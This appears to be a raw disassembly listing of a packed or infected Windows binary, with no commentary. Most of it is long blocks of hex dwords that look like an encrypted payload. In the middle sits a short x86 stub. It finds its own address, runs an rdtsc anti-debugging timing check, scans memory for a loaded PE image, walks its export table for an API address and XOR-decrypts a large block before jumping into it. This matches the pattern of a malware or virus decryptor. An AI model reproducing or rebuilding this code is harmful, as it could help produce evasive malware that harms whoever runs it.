7981E2FDh, 0FD6E1F1Fh, 9B4D871Ah, 54B33878h dd 49FB6266h, 3509D56Fh, 64A61EDBh, 1978CCF9h, 9ADA73CDh dd 82129A0Fh, 0AD9BE6FEh, 50289822h, 10F70A15h, 2F5CFC76h dd 0AFBF6049h, 0D7844FBh, 0DE55FD7Bh, 0CF50BB65h, 2AEF8402h dd 71E8216Fh, 0A6E52FEEh, 0D53C459Bh, 86462E39h, 0BC97C227h dd 0EB6AABE9h, 9D944484h, 0EA2FFAD4h, 1D8913Fh, 481DA52Ah dd 0E87D0604h, 1706878Dh, 0C1307023h, 7B4A2455h, 2B0C8D57h dd 877E8671h, 6E7E6E63h, 3F37605Ah, 73CC8C86h, 9E9A645Dh dd 0DC8800E3h, 0B0A8B71h, 38C384C5h, 6F5E2FC5h, 2168C853h dd 6E027300h, 858C15F1h, 0C073AAA8h, 0F9E91446h, 9BEA42DDh dd 0CD1F80FFh, 0EF27DAACh, 14C5D2Bh, 5A2FB7C5h, 6169BC4Fh dd 0B93BEEDEh, 7CA030AAh, 0AE4D4CD9h, 0DDC4BD43h, 9FEE36E1h dd 0FC88E18Fh, 0F332A369h, 26B53B2Dh, 47143AECh, 0AF98B063h dd 53759D8Fh, 925BE9D4h, 1FBCB759h, 0AD45F3CBh, 80F23AA7h dd 254E5C62h, 1B7D6619h, 1D4FBFCCh, 4B5AF01Ch, 0BF0C11ECh dd 0F1055691h, 89760BA7h, 0EC3D47E9h, 0C7E7EEC0h, 3D771EE9h dd 2910B027h, 89D409FDh, 993E3761h, 0C84E9C52h, 0E1411CEEh dd 0A3924A85h, 0DCB889BFh, 17846604h, 2955EDD3h, 0E0FA02D4h dd 0D04AC8Ah, 988A8521h, 81424C82h, 33D75755h, 167C9C7Fh dd 74968F2Ch, 0BE1403A1h, 0EBF32638h, 0ADE454D7h, 0F17A09D1h dd 0EE18B80Bh, 12DA4256h, 0FEB3E3D2h, 372476CCh, 0D6520573h dd 8B9AAA09h, 45016FA7h, 64CE8683h, 0EB695891h, 53029AD1h dd 0D5687EFh, 7E055C5Ah, 52446240h, 0B7AAAD0h, 0A509FF77h dd 0D9E3681h, 158453FDh, 0F3BA2F46h, 16EC3CCFh, 4706865Eh dd 83ABA013h, 0A3705325h, 0AAD3F344h, 4DE233EAh, 447F686Bh dd 73B22311h, 25BCCCEFh, 0CF217CBDh, 0A0FC42E0h, 0FFBF6BCDh dd 66248455h, 0AF3F6E42h, 68DC7DBCh, 332AA75h, 0B7F85C7Fh dd 8FF7166Eh, 0E63F3C98h, 0C8D69994h, 0FDF0C94h, 0DC58870Dh dd 6C71D7BFh, 837BAA80h, 8DE1654Fh, 4768E2Bh, 0A6CE0F27h dd 0DC2790ACh, 0DC4B588h, 865CF3EBh, 778D18FBh, 756A186Ch dd 5C4A6E2Bh, 0A0AEC769h, 639F1F89h, 0E876D8E6h, 186354CDh dd 4FBECF25h, 21C8A8BBh, 0C6E71B58h, 0A17185FCh, 1416AE4Bh dd 0D92018A6h, 13EDA13Dh, 2D64D457h, 5656C55Ah, 91986B0Ch dd 3371DA5h, 0F4CC8C80h, 0D3E64ED9h, 5143C7F4h, 0ABBA12ADh dd 84B0E1D0h, 6F4E1651h, 261CD85Bh, 24D99227h, 0EC6D370h dd 27F41A24h, 60D573C3h, 96016A96h, 0FC4797Ch, 0FDFDA601h dd 0FAB35BC0h, 0E7D7FD6Dh, 166CAC66h, 0B3866E79h, 0B125AB87h dd 28BAC2EFh, 0CD96344Ah, 236B35E1h, 4008F8B9h, 0E368111Dh dd 0E740C9A4h, 1D6FFE59h, 8073C36Bh, 0F98B6A37h, 35C79787h dd 9B3B4DB1h, 0B9D86889h, 83F20375h, 6C049EFEh, 6D76CD18h dd 8979C2A6h, 0CFDF054Dh, 0FD74B45Eh, 0DBAE5681h, 9250B9Dh dd 0A5C2AAA5h, 41599BCFh, 77F60ED0h, 5C10D203h, 2CEC7C09h dd 9D7DB0B2h, 3B5EE651h, 7B7EED6Bh, 0B3ABC930h, 0D1290B9Fh dd 7C6BE80h, 0CCE06093h, 69FD98E6h, 0CB166EC5h, 0C6C581C3h dd 437A2FB1h, 0D1B4D8FFh, 81AEBF98h, 18F21C02h, 0F433A8A1h dd 0FBDAE0E1h, 12605BD7h, 0A001F90Bh, 15AC0BEh, 71A79525h dd 8A4C0C01h, 3724BAECh, 0FF157F73h, 69A22B3h, 2DF6842Ah dd 875B1BC1h, 0F0E85899h, 0AC0290A7h, 155EF0BAh, 11A3A129h dd 9650007Dh, 0B289EE8h, 0EB118B77h, 0F29E36AFh, 21F9901Eh dd 0BB6775C5h, 0C3EC2C9Dh, 79A47B06h, 5CA3A003h, 0AB2A1071h dd 5DBCC747h, 526EB661h, 2C096911h, 73B2221Ah, 0E4B33CF7h dd 0C7C3FE4Ch, 4A30B5E3h, 0CBF52A7Eh, 6DA15518h, 5C3E5624h dd 7B58E876h, 656EDF65h, 0B9A820FEh, 74D37FF5h, 0E60428D3h dd 0CEAF8D32h, 820E910Fh, 0D0DC3EFEh, 0CF4977E4h, 0C53A17CAh dd 60E4FE7Bh, 97769E69h, 566FF56Bh, 0D0937762h, 80F490F3h dd 0AF9F2E64h, 79A893EBh, 25284B63h, 83090F1Dh, 78462E51h dd 53A46B53h, 142AC06Dh, 8DAAB612h, 476A75A1h, 3E94963Ah dd 0B09706EAh, 8DF8CA6Ch, 0E8E9446Bh, 36CF0FCBh, 0C38943C2h dd 2D64D423h, 0F0C6379Ah, 7998388Bh, 43B2EAB8h, 4DCCBC7Dh dd 0A7E64EE9h, 5900101Bh, 0B3E700Dh, 0BD35E19Fh, 6F4DFE41h dd 0DAAC85Bh, 0F7D6F775h dd 6B2E183h, 2ECADE51h, 0E9D078A3h, 0CF6142DDh, 0C659C4D3h dd 99F3270Bh, 59384812h, 9CADEAA2h, 15687E3Eh, 0C287697Ah dd 9E512691h, 63966768h, 119415FFh, 0FF8B0100h, 0B8h, 0C00B6000h dd 0E86874h, 58000000h, 5305h, 0E9388000h, 0EB611375h dd 372DDB45h, 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh, 0E840h dd 25580000h, 0FFFFF000h, 0BB66FF33h, 83665A19h, 396634C3h dd 0F127518h, 33C50B7h, 44E9BBD0h, 0C3830000h, 741A3967h dd 10002D07h, 0DAEB0000h, 0BAB8F88Bh, 300183Dh, 526AB9C7h dd 0CF030011h, 0BAB80AEBh, 0B900583Dh, 51526Ah, 84E85150h dd 0E8000000h, 0 dd 2D58h, 22Ch dup(0) dd offset loc_61B000 dd 0E0Ch dup(0) db 2 dup(0) word_621B02 dw 0 ; DATA XREF: sdfs____:loc_5ADE63o dd 487h dup(0) dword_622D20 dd 0B8h dup(0) ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_62304C pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_623041 mov ebx, [eax+2985h] jmp short loc_62304A ; --------------------------------------------------------------------------- loc_623041: ; CODE XREF: sdfs____:00623037j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_62304A: ; CODE XREF: sdfs____:0062303Fj mov ebx, [ebx] loc_62304C: ; CODE XREF: sdfs____:0062301Fj push ebp mov ebp, eax sub dword ptr [esp+4], 10DFF1h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 83h rep movsb call sub_623125 mov ecx, eax call sub_623125 sub eax, ecx jz short loc_6230F7 cmp eax, 100h ja short loc_6230F7 and ebx, 0FFFFF000h loc_62308B: ; CODE XREF: sdfs____:0062309Aj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_62309C loc_623094: ; CODE XREF: sdfs____:006230A9j sub ebx, 100h jnz short loc_62308B loc_62309C: ; CODE XREF: sdfs____:00623092j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_623094 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_6230B6: ; CODE XREF: sdfs____:loc_6230CAj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_6230CA cmp dword ptr [eax+5], 6441636Fh jz short loc_6230CF loc_6230CA: ; CODE XREF: sdfs____:006230BFj loop loc_6230B6 pop ecx jmp short loc_6230F7 ; --------------------------------------------------------------------------- loc_6230CF: ; CODE XREF: sdfs____:006230C8j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_62312A jmp short loc_62313F ; --------------------------------------------------------------------------- loc_6230F7: ; CODE XREF: sdfs____:0062307Cj ; sdfs____:00623083j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_623123 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_623123: ; CODE XREF: sdfs____:00623102j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_623125 proc near ; CODE XREF: sdfs____:0062306Ep ; sdfs____:00623075p rdtsc retn sub_623125 endp ; --------------------------------------------------------------------------- db 6Bh, 75h ; =============== S U B R O U T I N E ======================================= sub_62312A proc near ; CODE XREF: sdfs____:006230F0p push ebx mov ecx, 2845h mov ebx, edx loc_623132: ; CODE XREF: sub_62312A+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_623132 pop ebx retn sub_62312A endp ; --------------------------------------------------------------------------- loc_62313F: ; CODE XREF: sdfs____:006230F5j cmp dword ptr [ecx+0], 0 xchg eax, ebp enter 7946h, 0CCh les ebx, ds:2712D387h[ecx*2] adc ebx, [esi+66B48E57h] hlt ; --------------------------------------------------------------------------- dw 7750h dd 918914F9h, 0C9D9260Fh, 80C43140h, 61A30C7Eh, 6ADCE525h dd 0E67B1898h, 8D18C657h, 0B71E2F7Bh, 95510BA9h, 7F3917F3h dd 5A12D290h, 0A025CA99h, 0A7097DD7h, 5BA20E29h, 0DDB84BEEh dd 83C1B2C6h, 0CE1B6302h, 756F393Fh, 10E0BBh, 2EA3155Bh dd 593C44B2h, 1347597Ah, 391D99DDh, 15B2770Ch, 0C6AEC19h dd 0ABBA0328h, 0C050C5BAh, 0F83D6A5Bh, 3C7C31E2h, 0D002BE67h dd 6D0D6828h, 2AD12A3h, 0D154293Dh, 73FFE5CFh, 257080F0h dd 93037CACh, 789CF403h, 9D80BBAEh, 7845382Dh, 0F7CE77AFh dd 9C79455Ah, 4B1A8841h, 0F8C8C024h, 0C0360AA8h, 0F732A13Eh dd 1BA35EC7h, 0C9FC87F2h, 0CC8EB203h, 31CEC85Eh, 9BD2C52Ch dd 4CD83055h, 0FFD86CDEh, 6B10EC71h, 4378AE87h, 539E4D62h dd 57BB02A3h, 0C3BAA8C6h, 66FD56DFh, 5908040h, 8679210Bh dd 69ACD89Ah, 83C213B6h, 2855285Dh, 0E7FE403Fh, 0F3FBD98Ah dd 0B03A4A0Ch, 5638BA59h, 1ACBA37Bh, 0B94C3F94h, 1FF9E514h dd 0F3982F74h, 5FC9BE54h, 61B5CC2Ah, 0B5FC63C0h, 71632045h dd 0D036CF4Bh, 90EEB05h, 33480997h, 5D50C9C7h, 0EFCEF2C7h dd 0B1651CD9h, 0E54CD310h, 0C5157015h, 2D241E14h, 59D6C431h dd 83D28617h, 0AD821859h, 80F2AAB2h, 69446DE3h, 2B2B969Eh dd 6B76554Ah, 753EEADBh, 566C15E1h, 0C3BC0862h, 0FD9D800Dh dd 76479223h, 3BC4BC3Bh, 7139BF4Fh, 300F1A0Fh, 0CF1604D1h dd 7ADF957Ah, 330CD81Ah, 0C947B8BDh, 775EE0E7h, 0A1740A01h dd 8FDE78FFh, 0AA02C59h, 0F88F8BEh, 9F793941h, 40E2CE40h dd 234585A4h, 760E22BDh, 84CCCF97h, 983A86ADh, 556E4278h dd 0EB69DADBh, 997C06F1h, 0FD50AB8Ch, 9D57580Dh, 0CC3B0D32h dd 0CAD4BC71h, 7BD40CDAh, 9470FF75h, 863EAF04h, 6CA754B1h dd 13524071h, 0B259D832h, 7757FD66h, 5B0977F9h, 589A3631h dd 0E4C1AF3Fh, 36FAFFB4h, 0B457A441h, 63E2F0B5h, 0FCF7F19Eh dd 0FE9BAD92h, 9345C90h, 0B4A7707h, 0A281D58h, 90FDCAFBh dd 507AF46Bh, 30A66EE8h, 9DD24BCCh, 6D998B40h, 0BCFCF659h dd 4BEF25DAh, 85094985h, 0ABAB1A9Bh, 26C3BAFCh, 8EF90838h dd 2D68D5D9h, 0FC18C2F3h, 2A90AB84h, 3E27F22Dh, 0D5D07DC1h dd 0FD5F0CE7h, 0EB6F3F07h, 0D8F75C75h, 15188259h, 0A72E604Fh dd 0D12EF032h, 0FB30A244h, 2570908Dh, 1EC6D0F3h, 29928E43h dd 9D7C9BD8h, 4E90382Dh, 1BB62297h, 0AAF48C1Bh, 0C00ADCABh dd 1F608A59h, 0CD3460ABh, 252434ABh, 99625EA5h, 0E212D9EDh dd 911B4D53h, 2EA4CC27h, 94458376h, 0C5D137C1h, 0EF53D75Bh dd 0A0FC9461h, 4312A23Ch, 0C8DB3716h, 873EEF32h, 44D92CD9h dd 0EB7A429Dh, 41D0600Ah, 0C0FC8A61h, 577241DEh, 5347FE27h dd 55EC5D12h, 0E7EE532Ch, 11046D91h, 7F7FF58Fh, 245B2C0h dd 0F92F88EBh, 0DE3948B8h, 0B254E82h, 0D887DADh, 75D217ECh dd 0F44BCC39h, 8BDAC85Dh, 9375DF02h, 0B5F65A55h, 0F60E1E81h dd 231CC802h, 5C1071ADh, 0ACD9F2C3h, 95689538h, 4E8511BBh dd 5804E9Fh, 8A256C28h, 59ACFB07h, 7C85BA47h, 0BDD686C8h dd 0A33EC773h, 0FF972AEFh, 0D4C4E49Bh, 3F48E4C1h, 807C80CBh dd 0B9528274h, 0A742BBF7h, 7570FBD1h, 14AE9226h, 6B272DF0h dd 44EC6376h, 97851075h, 0EB2246FAh, 8A6E17F2h, 0E2B3A6D3h dd 4D48B61Ah, 210EB683h, 0F2245CB8h, 0F5C4A300h, 35256005h dd 0E0B9FE72h, 0C6C49035h, 63DDE8D2h, 603DE06Dh, 385DCD7Ch dd 0E11A7A0Ch, 9AB46DAFh, 45519801h, 0FA998DDBh, 996C3AD7h dd 0FDB4BBF8h, 2D41580Dh, 17417DC8h, 2BD4C613h, 1EABC5Fh dd 95016875h, 7B9D2A8Fh, 837C54CBh, 0EC86F5BBh, 6220FE2Fh dd 546ED2D7h, 6E5E1430h, 2E17D9F0h, 0E5A04574h, 5F972B69h dd 7F631AEh, 0A771CE77h, 72833B5Dh, 0B7467ACBh, 0E1347E45h dd 0B4A78D4h, 3560A0D4h, 5F76CAEBh, 898CF401h, 0B3A23793h dd 0DDB8482Dh, 0F89D2412h, 21DAAECCh, 0F7A36D6Fh, 7E653001h dd 22E5F479h, 0C9253924h, 96AD3CC7h, 2D78A657h, 1532477Ah dd 977CEC19h, 0E7AA161Fh, 0A0AB2F5Ah, 96A43A3Bh, 4C80FD17h dd 3254DB10h, 3C7D9DE1h, 32D142A3h, 0D154028Bh, 0B90AE346h dd 79B390F5h, 2AF5DBB9h, 1CF1855Fh, 0C9D04143h, 0BEBC5B58h dd 0A4AA340Fh, 2180EF0Ch, 397EC513h, 754E85F9h, 0FE5378E8h dd 0A00A51B5h, 0F3233BBBh, 7C1DFAAEh, 2EC8D777h, 10E9B975h dd 0F5D3765Fh, 86D07122h, 9B873F29h, 768ED414h, 3061CBE4h dd 1F6BD8DCh, 0F24A63D6h, 0AE39499Bh, 833E33ABh, 71E1E587h dd 5AE4E90Bh, 3DC9A040h, 0F2A78C5Fh, 0CF9B2829h, 829A3306h dd 7D6B132Dh, 4B76C3E7h, 0B63E296h, 0E7358ADAh, 0FC5C50BEh dd 0B706279Fh, 6CED0A95h, 5ED8A277h, 8E0A945h, 0E49E9352h dd 0C1935906h, 0B6A2270Eh, 4F0C11ECh, 7F47FBE5h, 3C4AAAC4h dd 0C04E8BB1h, 0D82268BCh, 0AF3B2383h, 67F90271h, 5CC3EE6Eh dd 3CFBC470h, 0EFBBA833h, 0D7814B38h, 0B2B94216h, 6D7D2AFDh dd 4643C2FAh, 3007C0D0h, 1B39A7BFh, 0E1097894h, 0BFE65096h dd 0BA982968h, 42FAE646h, 3882CC54h, 1A948323h, 0A5B17508h dd 9B725F3Ch, 0A96C09F4h, 625AFAC6h, 392DFFBDh, 42C8785h dd 0A11A6380h, 9DFE53B8h, 9CD31270h, 67F3E444h, 2C8BB400h dd 1F8D8823h, 0D49D6518h, 0B56154EDh, 98503DF4h, 1B7BE8C0h dd 2131DF89h, 1D04B397h, 0D8057690h, 0B3F36307h, 9ACD314Bh dd 7EF8E47Ch, 0ED4C925h, 2D84B32Fh, 0D8656C1Ch, 0D6665AEAh dd 0E96D33CFh, 7D270EF8h, 5E37DA9Dh, 671DA186h, 0F2EB8EA9h dd 88E9556Ah, 97D91617h, 5FC60E48h, 5CBFCB23h, 51C1BD14h dd 0F9709D33h, 0C37B7193h, 845825EFh, 793E02FEh, 4115C2BCh dd 5F37B98Eh, 0CFF89152h, 0E7C7727Eh, 0DDDD2544h, 62AB1E10h dd 48B79C29h, 369FB21Ch, 0E07D99D1h, 0C66075CFh, 0B06821DDh dd 56520BAAh, 5D09F5B3h, 201BABA5h, 0E8D28A46h, 0FDAA7373h dd 0A0B4325Ch, 9397062Ah, 298FFB0Dh, 276BCC20h, 1171AEE8h dd 0D36012C6h, 0A42E58F8h, 890A12BCh, 4919E68Ch, 3CE3DD9Eh dd 1CF78B45h, 0D7FC0E49h, 0ACAD4A7Eh, 9E980727h, 6FF4E905h dd 2E78F50Bh, 254594F4h, 0FA5565D9h, 874C47B2h, 96101DA3h dd 4D1DFC8Ch, 22EDDD71h, 9E1AF6Ah, 0D8CE482Fh, 0B1B15537h dd 8C83093Eh, 7793ED05h, 66E087h, 1949BDEFh, 0F24D57D6h dd 0AE267CBBh, 981933BCh, 58F4CEF5h, 56C0DA6Ah, 0FE3A344h dd 0E7A19B64h, 0BDB64724h, 97A1262Dh, 7842121Ch, 751AC3E3h dd 409FD1h, 0E034AAD5h, 0CA2F41B2h, 861921B3h, 79C67893h dd 59FBD25Ch, 15D7A97Ah, 8BA49956h, 0C7B0541Bh, 0BC933E04h dd 7B6522F5h, 5F43EBE3h, 3255ADE0h, 0C94E8BB1h, 0D4114DADh dd 0B5333F9Dh, 68E21F63h, 40CFEE7Ah, 32D3905Fh, 0CDD28022h dd 0C49A4F29h, 0BEA82707h, 606118FBh, 464FDBF3h, 5539B2DAh dd 2A3A9E99h, 0C60F7D8Fh, 0A7D15B93h, 9AF6017Fh, 49EFFD77h dd 2597D54Ah, 1CB48F3Dh, 0E4A34765h, 0BD674E28h, 0F96C11E5h dd 505DE2C4h, 2E27CBD8h, 772A87B8h, 0CF1A638Ah, 0CBFE559Ah dd 9DD40572h, 7DC2F944h, 24ADDA38h, 1690DE32h, 0EEF87E0Eh dd 0C76A5CE6h, 9A4733EAh, 523AF2CAh, 3735C4ABh, 2C12BFB5h dd 0FC0F6B9Dh, 0A7FC4F4Fh, 0A4A83D71h, 65DBF65Dh, 6A0C927h dd 4A9A23Ah, 0F6656E1Bh, 0EC724FFFh, 8C5835D5h, 672C37B7h dd 5836DAA8h, 21E9D97h dd 0D884BD97h, 0C9FF5261h, 0AAC4354Bh, 5AA81F4Bh, 399DC823h dd 686A02Eh, 0F96D960Fh, 0D37F47C1h, 845825EFh, 5D0E37BFh dd 629F094h, 1332E4D9h, 0ECDEF44Dh, 0DCCE5D70h, 0B8F32D5Eh dd 629C723Ah, 5494D33Eh, 229F8D01h, 855188C0h, 0FE417FC9h dd 0A04E21C4h, 763E0F91h, 6C10DDB8h, 301B90F3h, 0D7E0895Ah dd 0CEDF7A7Eh, 0D5813870h, 9520591Dh, 0A2BAC263h, 103D4A3h dd 2B009A72h, 0E57E875Ch, 15CF3CA9h, 0AB0C3099h, 3D006FB3h dd 71382F04h, 0BD1FE401h, 0AB705037h, 3681B53Dh, 9F8FAA78h dd 0C9F48C69h, 482EFAF2h, 704AE0FFh, 0F5655AFAh, 9980BFC4h dd 0A7328A5Ch, 4F29C887h, 0A11B4D50h, 0F2A4CC27h, 0E450AEBh dd 0C5C00EABh, 2CEE9ED8h, 240811FCh, 8A21AE97h, 57AD8F7h dd 970C0283h, 9005E842h, 0BA3A16B5h, 0D503989Fh, 31FCFE03h dd 8B392B71h, 10C2EE09h, 6FEB0889h, 7EE192E6h, 49DE8BBBh dd 6CD964ACh, 0A4D82F96h, 80B90544h, 0B95C8155h, 0F1A1EE7h dd 8688788Fh, 0BC9EC8C7h, 9F4A6E5h, 8BDAF63Fh, 0DFB2223Fh dd 0AD1A226Bh, 9667481h, 0CC72CDC6h, 4D061E38h, 7817ADC3h dd 0A15A3A4Ch, 0AF85C3EFh, 8D1DFB74h, 0CCA68A0Eh, 5929493Dh dd 80D2FE57h, 52BB4F8Ch, 157BC9A1h, 8C147CB7h, 2B024C10h dd 0AA6B28B5h, 0FADD1534h, 0A97C2A3Bh, 0FAA5B17Ah, 0E770680Dh dd 0AC516DDCh, 41FA7ABCh, 55556B4Fh, 4DF0104Ch, 30F9C572h dd 0C7D6E11Ah, 0E3B78EB7h, 0C2C598C9h, 775ECBE8h, 5E8AF801h dd 190FBD00h, 70A0702Bh, 92BDFEEBh, 49E5FCCEh, 8D3D3657h dd 5A73F792h, 2F5BF1DCh, 0F1245C99h, 7D707F2h, 7650A0DEh dd 0C8E35712h, 0C87C14EFh, 93C37F53h, 7857094Ch, 17AEBC61h dd 0BEF0A8CEh, 7BD4F0CAh, 91C25D75h, 0BFFE7F8Bh, 0B42C54A1h dd 8099336h, 0C232A8DDh, 7C78476Eh, 0C3D4FCE9h, 0BBBE06C2h dd 2133500Fh, 8A011C37h, 39CCBF0Dh, 0E635EEAAh, 8D18E323h dd 0B73422B7h, 0FB5E8FF4h, 0B439EE7h, 77EDA0D5h, 9688608Ah dd 0E04F0474h, 0A39D5E82h, 0D53C4D2Dh, 9247304Bh, 31F4A319h dd 0E392498h, 8510F06Dh, 42A7479Bh, 0D92C5F14h, 3C16F34Ch dd 51EB98CDh, 587ECAD7h, 8194558Dh, 0A346971Fh, 81C04037h dd 0FFD76E23h, 53796B61h, 0D802AE49h, 599C6571h, 0A72E13A7h dd 394456E9h, 0FB5A66CBh, 2522C2B3h, 391345ACh, 4A9CF42Fh dd 0A72583EEh, 9CC8383Ch, 0A6DC0802h, 219C8D03h, 194AB67Fh dd 4B62756Ah, 1AA00ABBh, 99174037h, 0F2663683h, 0E22F88EDh dd 45AE96B7h, 0E45BDC19h, 9BAA390Dh, 0B110B51Ch, 0BFF2B94Dh dd 199650FAh, 1545FFD5h, 53924D62h, 126702A3h, 97845909h dd 0D54CC320h, 420D80E5h, 55C1F84Fh, 0FE218C65h, 93C2FF33h dd 0D7181BE6h, 4C1D0B73h, 41542C29h, 694AF6DFh, 5B7A455Ah dd 4BC7FAABh, 0B95C26D9h, 0EB563A18h, 329AED02h, 0C8CDA203h dd 718BDEBCh, 8F08AB3Fh, 0BFDEA055h, 54B04B1Eh, 1919F00Ch dd 0BE3B7D97h, 4D28C838h, 0D19FF1C3h, 71E0CE26h, 0DA65CEE0h dd 819F7005h, 2FA69B0Bh, 2C86FAB1h, 0BD52A857h, 0AC6C175Dh dd 57FE4272h, 0F0614CB7h, 7B1417D9h, 20078EFCh, 0B9996189h dd 822315A7h, 0D3E86F39h, 2CB3E5Ch, 379198B6h, 90FFE539h dd 7B056340h, 207D1065h, 0CF1624E0h, 0F57464FBh, 73328EA7h dd 47DD47EEh, 4A5EF2ECh, 0A1740CE5h, 0CB35B3F0h, 44496015h dd 9EB68A2Bh, 9EE47Fh, 0D667D101h, 1EF8086Dh, 0FBA23A45h dd 68A05394h, 273A86AFh, 0E9A3C5E5h, 0EA69E0E7h, 997C047Dh dd 0E3B223AAh, 0CC95783Dh, 62CAE754h, 61E80036h, 156BAA2Ah dd 0E168208Ah, 3E675FFFh, 0D35C57DFh, 7B375198h, 3DA7EF0Bh dd 77D4E3ECh, 6684FCDEh, 2E6574EDh, 0E5A06E8Fh, 5F96BA08h dd 3034F401h, 27F2CE67h, 0E1668F12h, 0B77A43FCh, 0DE2ED956h dd 0CBCF76AFh, 0FC5396A1h, 60324F62h, 0E1DDF411h, 33A21C17h dd 8DEE197Ch, 38D0E7BCh, 0A4699C49h, 5BEADDF0h, 0D1D9C3D5h dd 0FE744ACAh, 8BA9BBE0h, 84527EF9h, 0B897BCD9h, 576EFCD5h dd 0C142FF1h, 0ABBA0368h, 0BF03B934h, 0D7004Ah, 2D9F6B52h dd 9387AB88h, 0A62BB2F9h, 0AC9DC228h, 5C786CBAh, 0EB47A57Ah dd 29CA1BE5h, 0C486BAFAh, 799DEC9Bh, 884A0D27h, 64358F6h dd 83BFC4A0h, 0D416CB6Ch, 8C899894h, 0B9ABB39Ah, 0CFE281FCh dd 980C5E95h, 0C9D3485h, 0D466E78h, 1D033903h, 0F2A4CC27h dd 54910AEBh, 2D7D9C6h, 7E6305Ch, 1AB30D71h, 55DFD44h dd 3F698FC9h, 0FE735EF6h, 0B23B5EAAh, 0B71E30B0h, 71EEE9A2h dd 63E5DD64h, 1BDEA162h, 0C5B69052h, 0D4AB5A28h, 0A2B23C0Ch dd 7E680C01h, 3B68C3FDh, 242B1F1h, 0E00E8EDEh, 0BB5C50A2h dd 0B6224EE7h, 7D58F78Fh, 5EE6CD61h, 13DDE244h, 0E7AB915Ch dd 9B995834h, 91F6261Bh, 294737C8h, 5B51F7FFh, 3440AFD4h dd 0C21DA7C9h, 0FB1C3C8Bh, 0FB340FA0h, 77F90623h, 7AACEF6Fh dd 59BCC4D9h, 6E53B347h, 0ADF806F0h, 0C289C7B5h, 0FE146C99h dd 3B14E80Ah, 4AA801B5h, 613CD6BFh, 975AA16Ah, 7FDB3EE7h dd 0D7ED4631h, 0D8901345h, 0DCE7C924h, 6BE5DCF2h, 0A7869B65h dd 6A609F2Ch, 0C1ACE11Ch, 0A6BD8EB7h, 4D58806Bh, 8D186B29h dd 5A8A4265h, 468374Eh, 0D44830FEh, 9C4975D0h, 4DC4903Dh dd 7B0A9A22h, 0CEF8086Dh, 832071C5h, 0E2410D5h, 0B040C3Ah dd 3190BBC5h, 6D0C49D6h, 0ABE9FBA2h, 3C923E39h, 7A40CBCDh dd 0FF417DCDh, 41D4AC42h, 34A9900Ch, 0D12E533Ah, 401666C7h dd 0F912DE34h, 0ED3E96B7h, 3DB05732h, 98912D15h, 81962074h dd 3653150Fh, 0F5F2B8A0h, 5E972B3Bh, 688DF400h, 0E5673136h dd 6508E843h, 0B71E2298h, 0B3711FFCh, 4F64448Ch, 0CA60EC99h dd 4F48407Eh, 89861C01h, 0C0D51E17h, 0B3D13A5Dh, 78F1437h dd 3716309h, 0D2FAD651h, 952ECA00h, 2217159Bh, 0C925393Ch dd 43D7E7C7h, 7C6888E2h, 69F4570Ch, 0E907EC19h, 0ABAA161Bh dd 0CC4AF5B8h, 728F6A5Bh, 39D3B2DCh, 0A6C05677h, 0BA7E1772h dd 0B7307F26h, 52143CB9h, 0EB44096Ah, 0B0FD90E5h, 4F96A4D6h dd 78F6B041h, 0CBE00E4Dh, 4DC8383Fh, 0C8F4F7ACh, 0E1718C79h dd 0C628C325h, 653E8018h, 995C58ABh, 0D721814Ch, 0A5365EC7h dd 4F29D8BDh, 78A027FCh, 8EFCDC09h, 8B8520BAh, 8255F645h dd 0EFE64A1Ah, 19FC8899h, 0C41F987h, 5F1B93DEh, 0DB72469Dh dd 4BC1D3C9h, 786A46E1h, 1580879Dh, 0DE23270Bh, 30ACC439h dd 0AD3443BAh, 8030285Dh, 0F11AD96h, 11047C75h, 7254EFD8h dd 4B6495EBh, 8F0AB6FFh, 87D6B12Eh, 23F74EF7h, 0FBDFCF2h dd 5F0DA213h, 61B4CC2Ch, 92D543B2h, 38B92045h, 0CFC958D6h dd 0FC0A9C81h, 8EA16168h, 5D28F7BBh, 97CAFDC3h, 30641CDBh dd 0DB7BD603h, 4F82405h, 0D0A69A1Ah, 498232A4h, 13166F47h dd 0FDE8185Ch, 0D79496F8h, 178193DBh, 0AE2A86A0h, 58359975h dd 7F4562A3h, 3F9EBE1h, 38822EC9h, 9225EBEFh, 27AE823Dh dd 0D449954Ch, 7BCAF83Ch, 0A765EF35h, 4A062A44h, 70986B51h dd 0A8328EA6h, 4DC3B4FDh, 0F2D1D22Ch, 0A1641286h, 8ACDB339h dd 9FA16005h, 75B7E02Bh, 47594B43h, 0F0E2CE68h, 19F7F795h dd 0C70E33E3h, 9AB1D10Ah, 713A96B1h, 0BA03E2D5h, 7F58244Eh dd 96BC81F1h, 0C3936E82h, 6115D51Dh, 0A6BE922Dh, 0BBE84441h dd 0FF8229A0h, 0CB000075h, 8B9FCCA0h, 7CD30085h, 13524035h dd 23C21540h, 66DFD2F3h dd 6E7EE111h, 3C0FABF0h, 8FB0403Bh, 0FD2123Bh, 6A8EA451h dd 5CF85B98h, 0C985F86Dh, 229336B7h, 0E1240E41h, 1FC79EFh dd 2144E45Eh, 5D7E2A2Ah, 0C39EF54Bh, 0B0E80C15h, 0D59C0C26h dd 0C6C193C3h, 3AB594B9h, 0A4EAE22Bh, 389DA0B7h, 0AF3625D3h dd 0D93C5859h, 357C4BC7h, 0D46B8A5h, 7244E2DDh, 0B9BAC92Ch dd 